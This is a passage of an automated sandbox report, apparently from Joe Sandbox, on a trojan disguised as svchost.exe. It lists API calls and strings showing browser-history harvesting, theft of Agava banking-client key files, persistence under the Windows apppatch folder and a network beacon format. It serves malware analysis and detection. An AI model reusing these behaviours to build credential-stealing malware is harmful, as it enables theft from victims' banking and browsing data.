                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FilePath$FolderProcess$AttributesBackslashCreateDeleteFreeValidate
                                                                                                                                                                                                            • String ID: \History.IE5\index.dat$\Opera\Opera\global_history.dat$\Opera\Opera\typed_history.xml$http$http$http$links.log
                                                                                                                                                                                                            • API String ID: 772302041-762728116
                                                                                                                                                                                                            • Opcode ID: a3472fe0c7af3a7a90eb6693d0528da1f65fd5715031649f65d91ef3466f12b1
                                                                                                                                                                                                            • Instruction ID: 22586ef335f1538914494fa27962e674e6c067f21e5578ca48d3104f23decb94
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a3472fe0c7af3a7a90eb6693d0528da1f65fd5715031649f65d91ef3466f12b1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1B913B70E40359ABDB22CF60DC84FEABBB9EF44744F844584E945AB180DB70AB45CB90
                                                                                                                                                                                                            Function 004017F0 Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 234memoryprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040181B
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,75C25430,00000000,?), ref: 00401833
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040185D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 00401860
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401873
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401898
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 004018AC
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004018CA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 004018CD
                                                                                                                                                                                                            • memset.MSVCRT ref: 004018DD
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00401E65,000000FF,00000000,00000000), ref: 004018FF
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401913
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401933
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 0040193A
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040194A
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401967
                                                                                                                                                                                                            • CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040199B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 004019AD
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004019B6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 004019C2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 004019C5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019D2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004019D5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019DE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 004019E1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00401E65), ref: 004019F1
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004019F4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00401E65), ref: 00401A01
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00401A04
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$ByteCharMultiWide$memset$AllocFreeValidate$CreateLogonWith
                                                                                                                                                                                                            • String ID: D
                                                                                                                                                                                                            • API String ID: 3422789474-2746444292
                                                                                                                                                                                                            • Opcode ID: 305985fe563536e86098805144d0a2e1e56e9e587e80ceb7f6eacc4e8f8e770f
                                                                                                                                                                                                            • Instruction ID: 7aa473d0462345c53030a0d843d553fe9ec79da9d6527bb3e9654a4a16b7ec1b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 305985fe563536e86098805144d0a2e1e56e9e587e80ceb7f6eacc4e8f8e770f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4A6195B1A01215BBDB209FA58C45FAF7B6CEF84751F15422AFE14B72D0CA749D00CAA8
                                                                                                                                                                                                            Function 02C79B50 Relevance: 51.0, APIs: 26, Strings: 3, Instructions: 275COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: P0#v$open$taskmgr
                                                                                                                                                                                                            • API String ID: 0-2917657181
                                                                                                                                                                                                            • Opcode ID: 51c55ab250984b1378fc020d1e451df96e5a679c7bc0090d7aa38ddf5273bc60
                                                                                                                                                                                                            • Instruction ID: c90015fce84a43227881360fce1100c2b29f9ed26db122529d9413665eac2634
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 51c55ab250984b1378fc020d1e451df96e5a679c7bc0090d7aa38ddf5273bc60
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6B91C431A80284EBD712DF69ED49FABBB7CEBC5711F104B95F90597281C730A961CBA0
                                                                                                                                                                                                            Function 02C91BA0 Relevance: 51.0, APIs: 17, Strings: 12, Instructions: 273stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C93170: memset.MSVCRT ref: 02C93194
                                                                                                                                                                                                              • Part of subcall function 02C93170: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C9319F
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,00000000,Agava_Client.exe), ref: 02C91BC6
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02C91BE5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91BF7
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C91C08
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(Containers,UseToken,00000000,?,00000104,?), ref: 02C91C50
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C91C64
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(Containers,KeysDiskPath,00000000,?,00000104,?), ref: 02C91CA4
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C91CB2
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C91CC7
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C91D64
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31d1a), ref: 02C91D9D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$HandlePrivateProfileString$BackslashCloseCreateCurrentDirectoryFileInformationModuleNameOpenPathProcessSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID: .ini$82c31d1a$Agava_Client.exe$Agava_Client.ini$Agava_keys$Containers$KeysDiskPath$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$P0#v$UseToken$keys.zip$keys_path.txt
                                                                                                                                                                                                            • API String ID: 2651364649-505903401
                                                                                                                                                                                                            • Opcode ID: f157bce3519caa51ccfa1cf44a88d0117712d04f1532c881308efa320934b9bd
                                                                                                                                                                                                            • Instruction ID: 8530997ed578a2fdf82a443dd6cfe597021f2c815232704f86ca57ebae2b196d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f157bce3519caa51ccfa1cf44a88d0117712d04f1532c881308efa320934b9bd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 15A1193194429E8FDF17CB249C5DBEA7BE9EF45300F1846E4E949D7240EBB19A48CB90
                                                                                                                                                                                                            Function 00402950 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 223memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401C30,?,0000001C,00000000,00000000,76D6DB30), ref: 0040298B
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 004029A3
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 004029C4
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 004029DC
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402A1D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402A2D
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 00402A3E
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00402A76
                                                                                                                                                                                                              • Part of subcall function 004012A0: GetTickCount.KERNEL32 ref: 004012AB
                                                                                                                                                                                                              • Part of subcall function 004012A0: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A82,00000000), ref: 004012BC
                                                                                                                                                                                                              • Part of subcall function 004012A0: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004012CC
                                                                                                                                                                                                              • Part of subcall function 00401330: GetTickCount.KERNEL32 ref: 0040135A
                                                                                                                                                                                                              • Part of subcall function 00401330: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A8E,-00000006,00000000), ref: 00401367
                                                                                                                                                                                                              • Part of subcall function 00401330: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401373
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00402AF0
                                                                                                                                                                                                            • CopyFileA.KERNEL32(?,?,00000001), ref: 00402B08
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00402B3A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402B65
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402B68
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402B74
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402B77
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00402B96
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402BA5
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402BB5
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 00402BC6
                                                                                                                                                                                                            • GlobalFindAtomA.KERNEL32(Fri Jun 17 05:52:09 20111), ref: 00402BE4
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402BF5
                                                                                                                                                                                                            • GlobalAddAtomA.KERNEL32(Fri Jun 17 05:52:09 20111), ref: 00402C00
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ModuleProcess$AddressFileHandleHeapProc$CountTick$AtomCurrentGlobal$CopyDirectoryExistsExitFindFreeHeaderImageMoveNamePathQuerySystemValidateVirtualWindows_snprintf
                                                                                                                                                                                                            • String ID: %s_$.dat$Fri Jun 17 05:52:09 20111$IsWow64Process$\apppatch\$kernel32.dll$svchost.exe
                                                                                                                                                                                                            • API String ID: 4049655197-4201755136
                                                                                                                                                                                                            • Opcode ID: bb8a968c219bfac3fd61da6bd44f777cdfedeba1d50c59b884a37fb13913d547
                                                                                                                                                                                                            • Instruction ID: 2b42465635bf5f89377a844675b664ed4d82d183fb77d3ed61f84ac94699b08c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bb8a968c219bfac3fd61da6bd44f777cdfedeba1d50c59b884a37fb13913d547
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A5718FB15143419BC310EF70DE8896B7BE9BBC8300B54493EF686B72A1D778D944CB99
                                                                                                                                                                                                            Function 02C89ED0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 214fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3181f), ref: 02C89F18
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(02CCB9D8,00000000), ref: 02C89F58
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C89F5E
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C89F66
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(02CCB9D8), ref: 02C89F75
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C89F7C
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(02CCB9D8,00000000), ref: 02C89FB1
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(02CCB9D8), ref: 02C89FBC
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3181f,00000000,00000001), ref: 02C8A006
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashErrorFileLast$AdminAttributesCreateDeleteDirectoryFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 82c3181f$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v$path.txt
                                                                                                                                                                                                            • API String ID: 2920098687-3480082132
                                                                                                                                                                                                            • Opcode ID: d62764c66fd3447da8bde9fdfd18aef49824ac741345b335b420c89d97344146
                                                                                                                                                                                                            • Instruction ID: e060a6dc4a62d9af18e8e24f33a177b5cb2f0831524c4b233497ef898910154f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d62764c66fd3447da8bde9fdfd18aef49824ac741345b335b420c89d97344146
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 74614431A406819FE7165B749C59B7B3BE8AF8974AF188699FC87CB341CB71CA04C790
                                                                                                                                                                                                            Function 00403579 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035AB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035F7
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403616
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 00403630
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403653
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040366A
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040367E
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004036D3
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 004036F2
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 00403725
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004037BB
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 004037EC
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000), ref: 004037F3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004037FA
                                                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0040382B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403887
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040388A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403897
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040389A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038AD
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038B0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038BD
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038C0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$FreePointerValidatewcsstr$AllocCloseCreateHandleInitModuleNameReadSizeVariantWrite_snwprintfmemset
                                                                                                                                                                                                            • String ID: 00-->$<Actions $p=Dv
                                                                                                                                                                                                            • API String ID: 3028510665-2653830224
                                                                                                                                                                                                            • Opcode ID: 955b91e7d97598c02b1fd98b2500fdb02c6b2481e78ce23fabddc674594c4510
                                                                                                                                                                                                            • Instruction ID: 60e659956de6826fb5c9e3504b81639812d481b549725b71a5a6ffd7b5f9c5d4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 955b91e7d97598c02b1fd98b2500fdb02c6b2481e78ce23fabddc674594c4510
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CBA1CEB2504311ABC720DF64CC48F5B7BA8EFC8751F048669FA45EB291D774EA04CBA8
                                                                                                                                                                                                            Function 02C8EB60 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 215COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8EB7E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C319E5), ref: 02C8EBAB
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8EBED
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8EBF3
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8EBFB
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8EC0C
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8EC13
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C319E5,?,?), ref: 02C8EC87
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02C8ECC5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashCreateDirectoryErrorLast$AdminFolderMakeSystemUsermemset
                                                                                                                                                                                                            • String ID: 82C319E5$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}$P0#v$path.txt
                                                                                                                                                                                                            • API String ID: 2217318736-1799520723
                                                                                                                                                                                                            • Opcode ID: 51d1b8c9fa17c033bec282f951e1662f180fe039207c4c48e6daccd246365cc4
                                                                                                                                                                                                            • Instruction ID: 2ed45fa89f3537049a4328ad7dd3c48984d289ba92d9bddbc3343abe1d9e4ec7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 51d1b8c9fa17c033bec282f951e1662f180fe039207c4c48e6daccd246365cc4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F57127319006955FDB129B349C58BEB7BE8AF85308F14CA95FD86CB241EB70DA49CB90
                                                                                                                                                                                                            Function 02C842C0 Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 182memorysleepthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C832F0: IsUserAnAdmin.SHELL32 ref: 02C832FA
                                                                                                                                                                                                              • Part of subcall function 02C832F0: memset.MSVCRT ref: 02C83330
                                                                                                                                                                                                              • Part of subcall function 02C832F0: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,00000000), ref: 02C83357
                                                                                                                                                                                                              • Part of subcall function 02C832F0: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,00000000,00000104,?,?,00000000), ref: 02C8337A
                                                                                                                                                                                                              • Part of subcall function 02C832F0: GetProcessHeap.KERNEL32(00000008,00000015,?,?,00000000), ref: 02C833ED
                                                                                                                                                                                                              • Part of subcall function 02C832F0: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C833F4
                                                                                                                                                                                                              • Part of subcall function 02C832F0: memset.MSVCRT ref: 02C83404
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C842E1
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C842F6
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
                                                                                                                                                                                                              • Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4), ref: 02C84315
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?), ref: 02C8432C
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02C84344
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C843AC
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C843AF
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C843BC
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C843BF
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 02C8440E
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000338,00000000), ref: 02C84438
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$memset$Process$AdminCheckConnectionInternetTempUserlstrcpyn$AliveAllocCacheCountFileFlushFreeHeaderImageNameNetworkOpenPathQueryResolverSleepTerminateThreadTickValidateValue_snprintf
                                                                                                                                                                                                            • String ID: 7D2DE7E1a$C:\Windows\apppatch\svchost.exe$id=1&post=%u
                                                                                                                                                                                                            • API String ID: 3337567932-2551706555
                                                                                                                                                                                                            • Opcode ID: 2ab172c36b168154a7e170d85e073d0d48a99f091999c4e4c8f498f21415e0a2
                                                                                                                                                                                                            • Instruction ID: bbd2204ae303518fbca62e2b7ffa70cbcb0041e8f9508d5356b3ba8fd619da67
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2ab172c36b168154a7e170d85e073d0d48a99f091999c4e4c8f498f21415e0a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F4513B71E802466BE735ABB0AC49FBA7B6DDF84B08F048694F609D71C1EB70D504CB60
